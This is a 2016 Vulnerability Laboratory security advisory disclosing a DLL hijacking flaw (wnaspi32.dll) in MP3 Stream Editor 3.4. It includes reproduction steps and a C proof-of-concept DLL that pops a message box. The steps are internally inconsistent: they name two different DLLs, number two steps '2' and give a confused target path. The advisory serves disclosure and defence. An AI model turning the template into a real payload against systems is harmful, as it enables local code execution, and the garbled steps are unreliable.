Document Title:
===============
MP3 Stream Editor 3.4 - DLL Hijacking Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1971


Release Date:
=============
2016-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
1971


Common Vulnerability Scoring System:
====================================
4.1


Product & Service Introduction:
===============================
MP3 Stream Editor is an audio tool, built around the visual non destructive MP3 and other compressed format editor that is you can 
edit MP3 audio without decoding and quality loss on a convenient 3D display with the mouse. It includes option to repair corrupted 
MP3 files, free Encode, re-encode, convert to WAV, cut and join MP3s, tag MP3s with a professional ID3v2 Tag editor, and burn them 
as audio CDs or MP3 CD/DVDs.
 
(Copy of the Vendor Homepage: http://www.3delite.hu/MP3SE/index.html)


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a dll hijacking exploit in the official MP3 Stream Editor v3.4 software.


Vulnerability Disclosure Timeline:
==================================
2016-10-07:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official MP3 Stream Editor v3.4 software.
The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process or to 
finally gain higher access privileges.


Vulnerable Librarie(s):
[+] wnaspi32.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the local vulnerability ...
1. Compile dynamic link library
2. Rename to wnaspi32.dll 
2. Copy nvcuvenc.dll to the "C:/Program Files/MP3 Stream Editor/MP3SE.exe" file path
3. Launch MP3SE.exe
4. MessageBox executes that verifies the dll inject as successful!


-- PoC Exploit --
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijack ZwX!", "DLL Message", MB_OK);
return 0;
}



Security Risk:
==============
The security risk of the dll hijacking exploit in the dynamic link library is estimated as medium. (CVSS 4.1)


Credits & Authors:
==================
ZwX -  (http://zwx.fr/)  )[http://www.vulnerability-lab.com/show.php?user=ZwX]


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=========================
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